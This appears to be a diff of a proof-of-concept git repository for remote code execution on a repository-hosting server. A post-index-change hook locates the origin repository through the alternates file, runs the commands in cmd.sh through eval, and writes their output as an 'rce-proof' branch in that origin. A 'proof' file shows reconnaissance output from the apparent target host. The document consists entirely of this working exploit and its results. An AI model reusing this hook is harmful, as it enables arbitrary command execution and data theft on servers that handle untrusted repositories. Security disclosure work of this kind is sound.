README.md

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+# p0c319750
+

cmd.sh

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+id; whoami; hostname; nproc; uname -m; cat /etc/os-release | head -3; free -m | head -2

hooks/post-index-change

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+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
+[ -n "$cmd" ] || exit 0
+out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
+out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
+tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
+commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
+  GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
+  git --git-dir="$origin_git" commit-tree "$tree")
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
+exit 0
+
+# 553299

proof

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-uid=1000(git) gid=1000(git) groups=1000(git)
-git
-665b8a512320
-4
-x86_64
-NAME="Alpine Linux"
-ID=alpine
-VERSION_ID=3.20.3
-              total        used        free      shared  buff/cache   available
-Mem:           7750        4795         179           4        2777        2646
----EXIT:0---